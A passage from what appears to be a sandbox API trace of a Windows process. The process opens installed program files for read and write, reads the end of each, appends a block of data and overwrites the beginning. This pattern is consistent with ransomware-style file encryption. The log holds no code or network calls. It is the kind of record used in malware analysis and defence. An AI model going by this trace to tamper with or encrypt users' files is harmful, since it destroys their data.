(hObject=0x12c) returned 1 [0057.053] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0057.057] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.057] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x78e4 [0057.057] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.059] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.059] ReleaseMutex (hMutex=0x128) returned 1 [0057.059] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Informix.xsl", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0057.060] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Informix.xsl", cchWideChar=12, lpMultiByteStr=0x1e633ec, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Informix.xsl", lpUsedDefaultChar=0x0) returned 12 [0057.060] ReadFile (in: hFile=0x12c, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0057.070] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x68e4 [0057.071] ReadFile (in: hFile=0x12c, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0057.071] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x68e4 [0057.071] WriteFile (in: hFile=0x12c, lpBuffer=0x276c958*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0057.071] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0057.072] WriteFile (in: hFile=0x12c, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0057.072] CloseHandle (hObject=0x12c) returned 1 [0057.072] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\supportinggratis.exe" (normalized: "c:\\program files (x86)\\microsoft analysis services\\supportinggratis.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0057.072] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\supportinggratis.exe", nBufferLength=0x104, lpBuffer=0x32cf694, lpFilePart=0x32cf690 | out: lpBuffer="C:\\Program Files (x86)\\Microsoft Analysis Services\\supportinggratis.exe", lpFilePart=0x32cf690*="supportinggratis.exe") returned 0x47 [0057.072] GetLastError () returned 0x20 [0057.072] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x20, dwLanguageId=0x0, lpBuffer=0x32cf8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="?p̬폈H̬퐔H̬L̬ꟈǦ\x01") returned 0x51 [0057.072] LocalFree (hMem=0x70da60) returned 0x0 [0057.073] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x32cd860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0057.073] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x32cf894) [0057.073] RtlUnwind (TargetFrame=0x32cf8fc, TargetIp=0x406ffc, ExceptionRecord=0x32cf378, ReturnValue=0x0) [0057.073] RtlUnwind (TargetFrame=0x32cf920, TargetIp=0x407184, ExceptionRecord=0x32cf378, ReturnValue=0x0) [0057.152] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\supportinggratis.exe" (normalized: "c:\\program files (x86)\\microsoft analysis services\\supportinggratis.exe")) returned 0x20 [0057.152] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\omni.ja" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\omni.ja"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0057.375] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.375] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x44080e [0057.375] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.375] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.375] ReleaseMutex (hMutex=0x128) returned 1 [0057.375] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="omni.ja", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0057.375] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="omni.ja", cchWideChar=7, lpMultiByteStr=0x1e6a7bc, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="omni.ja", lpUsedDefaultChar=0x0) returned 7 [0057.375] ReadFile (in: hFile=0x12c, lpBuffer=0x39d9938, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x39d9938*, lpNumberOfBytesRead=0x32cf278*=0xf000, lpOverlapped=0x0) returned 1 [0057.381] ReadFile (in: hFile=0x12c, lpBuffer=0x39d9938, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x39d9938*, lpNumberOfBytesRead=0x32cf278*=0xf000, lpOverlapped=0x0) returned 1 [0057.383] ReadFile (in: hFile=0x12c, lpBuffer=0x39d9938, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x39d9938*, lpNumberOfBytesRead=0x32cf278*=0x2000, lpOverlapped=0x0) returned 1 [0057.385] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x43e80e [0057.385] ReadFile (in: hFile=0x12c, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x32cf278*=0x2000, lpOverlapped=0x0) returned 1 [0057.392] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x43e80e [0057.393] WriteFile (in: hFile=0x12c, lpBuffer=0x39d9938*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x39d9938*, lpNumberOfBytesWritten=0x32cf28c*=0x2588, lpOverlapped=0x0) returned 1 [0057.393] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0057.394] WriteFile (in: hFile=0x12c, lpBuffer=0x39d9938*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x39d9938*, lpNumberOfBytesWritten=0x32cf28c*=0xf000, lpOverlapped=0x0) returned 1 [0057.394] WriteFile (in: hFile=0x12c, lpBuffer=0x39d9938*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x39d9938*, lpNumberOfBytesWritten=0x32cf28c*=0xf000, lpOverlapped=0x0) returned 1 [0057.395] WriteFile (in: hFile=0x12c, lpBuffer=0x39d9938*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x39d9938*, lpNumberOfBytesWritten=0x32cf28c*=0x2000, lpOverlapped=0x0) returned 1 [0057.395] CloseHandle (hObject=0x12c) returned 1 [0057.395] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice_installer.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\maintenanceservice_installer.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0057.395] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.395] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x2f7f8 [0057.395] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.396] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.396] ReleaseMutex (hMutex=0x128) returned 1 [0057.396] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="maintenanceservice_installer.exe", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0057.396] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="maintenanceservice_installer.exe", cchWideChar=32, lpMultiByteStr=0x1eb2084, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="maintenanceservice_installer.exe", lpUsedDefaultChar=0x0) returned 32 [0057.396] ReadFile (in: hFile=0x12c, lpBuffer=0x39d9938, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x39d9938*, lpNumberOfBytesRead=0x32cf278*=0x8000, lpOverlapped=0x0) returned 1 [0057.397] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x2e7f8 [0057.398] ReadFile (in: hFile=0x12c, lpBuffer=0x1def548, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1def548*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0057.399] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x2e7f8 [0057.399] WriteFile (in: hFile=0x12c, lpBuffer=0x1def548*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1def548*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0057.399] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0057.399] WriteFile (in: hFile=0x12c, lpBuffer=0x271ce78*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x271ce78*, lpNumberOfBytesWritten=0x32cf28c*=0x8000, lpOverlapped=0x0) returned 1 [0057.399] CloseHandle (hObject=0x12c) returned 1 [0057.399] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\softokn3.chk" (normalized: "c:\\program files (x86)\\mozilla firefox\\softokn3.chk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0057.400] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.400] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x383 [0057.400] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.400] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.400] ReleaseMutex (hMutex=0x128) returned 1 [0057.400] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="softokn3.chk", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0057.400] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="softokn3.chk", cchWideChar=12, lpMultiByteStr=0x1e6314c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="softokn3.chk", lpUsedDefaultChar=0x0) returned 12 [0057.400] ReadFile (in: hFile=0x12c, lpBuffer=0x1e3ad38, nNumberOfBytesToRead=0x383, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e3ad38*, lpNumberOfBytesRead=0x32cf2bc*=0x383, lpOverlapped=0x0) returned 1 [0057.402] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0057.402] WriteFile (in: hFile=0x12c, lpBuffer=0x27ac368*, nNumberOfBytesToWrite=0x90b, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesWritten=0x32cf2d0*=0x90b, lpOverlapped=0x0) returned 1 [0057.402] CloseHandle (hObject=0x12c) returned 1 [0057.402] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\maintenanceservice.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0057.403] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.403] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x1d270 [0057.403] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.403] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.403] ReleaseMutex (hMutex=0x128) returned 1 [0057.403] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="maintenanceservice.exe", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0057.403] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="maintenanceservice.exe", cchWideChar=22, lpMultiByteStr=0x1e786cc, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="maintenanceservice.exe", lpUsedDefaultChar=0x0) returned 22 [0057.403] ReadFile (in: hFile=0x12c, lpBuffer=0x1de33e8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1de33e8*, lpNumberOfBytesRead=0x32cf278*=0x4000, lpOverlapped=0x0) returned 1 [0057.405] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x1c270 [0057.405] ReadFile (in: hFile=0x12c, lpBuffer=0x1def548, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1def548*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0057.406] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x1c270 [0057.406] WriteFile (in: hFile=0x12c, lpBuffer=0x1def548*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1def548*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0057.407] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0057.407] WriteFile (in: hFile=0x12c, lpBuffer=0x1de33e8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1de33e8*, lpNumberOfBytesWritten=0x32cf28c*=0x4000, lpOverlapped=0x0) returned 1 [0057.407] CloseHandle (hObject=0x12c) returned 1 [0057.407] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Mail\\centralcreditcard.exe" (normalized: "c:\\program files (x86)\\windows mail\\centralcreditcard.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0057.407] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Windows Mail\\centralcreditcard.exe", nBufferLength=0x104, lpBuffer=0x32cf694, lpFilePart=0x32cf690 | out: lpBuffer="C:\\Program Files (x86)\\Windows Mail\\centralcreditcard.exe", lpFilePart=0x32cf690*="centralcreditcard.exe") returned 0x39 [0057.407] GetLastError () returned 0x20 [0057.407] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x20, dwLanguageId=0x0, lpBuffer=0x32cf8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="?p̬폈H̬퐔H̬L̬ꟈǦ\x01") returned 0x51 [0057.407] LocalFree (hMem=0x70d838) returned 0x0 [0057.407] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x32cd860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0057.407] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x32cf894) [0057.407] RtlUnwind (TargetFrame=0x32cf8fc, TargetIp=0x406ffc, ExceptionRecord=0x32cf378, ReturnValue=0x0) [0057.408] RtlUnwind (TargetFrame=0x32cf920, TargetIp=0x407184, ExceptionRecord=0x32cf378, ReturnValue=0x0) [0057.408] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Windows Mail\\centralcreditcard.exe" (normalized: "c:\\program files (x86)\\windows mail\\centralcreditcard.exe")) returned 0x20 [0057.408] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\ImagingDevices.exe" (normalized: "c:\\program files (x86)\\windows photo viewer\\imagingdevices.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0057.409] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\ImagingDevices.exe", nBufferLength=0x104, lpBuffer=0x32cf694, lpFilePart=0x32cf690 | out: lpBuffer="C:\\Program Files (x86)\\Windows Photo Viewer\\ImagingDevices.exe", lpFilePart=0x32cf690*="ImagingDevices.exe") returned 0x3e [0057.409] GetLastError () returned 0x5 [0057.409] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x32cf8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="똰p̬폈H̬퐔H̬L̬ꟈǦ\x01") returned 0x13 [0057.409] LocalFree (hMem=0x70b630) returned 0x0 [0057.409] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x32cd860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0057.409] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x32cf894) [0057.409] RtlUnwind (TargetFrame=0x32cf8fc, TargetIp=0x406ffc, ExceptionRecord=0x32cf378, ReturnValue=0x0) [0057.409] RtlUnwind (TargetFrame=0x32cf920, TargetIp=0x407184, ExceptionRecord=0x32cf378, ReturnValue=0x0) [0057.409] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\ImagingDevices.exe" (normalized: "c:\\program files (x86)\\windows photo viewer\\imagingdevices.exe")) returned 0x20 [0057.409] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.GRAPH.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.graph.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0057.410] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.410] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x6ce [0057.410] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.410] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.410] ReleaseMutex (hMutex=0x128) returned 1 [0057.410] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.GRAPH.14.1033.hxn", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0057.410] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.GRAPH.14.1033.hxn", cchWideChar=20, lpMultiByteStr=0x1e786cc, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MS.GRAPH.14.1033.hxn", lpUsedDefaultChar=0x0) returned 20 [0057.410] ReadFile (in: hFile=0x12c, lpBuffer=0x261fa88, nNumberOfBytesToRead=0x6ce, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesRead=0x32cf2bc*=0x6ce, lpOverlapped=0x0) returned 1 [0057.410] CloseHandle (hObject=0x12c) returned 1 [0057.410] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.OIS.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.ois.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0057.410] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.410] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x6c2 [0057.410] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.410] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.410] ReleaseMutex (hMutex=0x128) returned 1 [0057.410] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.OIS.14.1033.hxn", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0057.410] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.OIS.14.1033.hxn", cchWideChar=18, lpMultiByteStr=0x1e786cc, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MS.OIS.14.1033.hxn", lpUsedDefaultChar=0x0) returned 18 [0057.410] ReadFile (in: hFile=0x12c, lpBuffer=0x261fa88, nNumberOfBytesToRead=0x6c2, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesRead=0x32cf2bc*=0x6c2, lpOverlapped=0x0) returned 1 [0057.411] CloseHandle (hObject=0x12c) returned 1 [0057.411] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO_PRM.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.visio_prm.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0057.411] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: 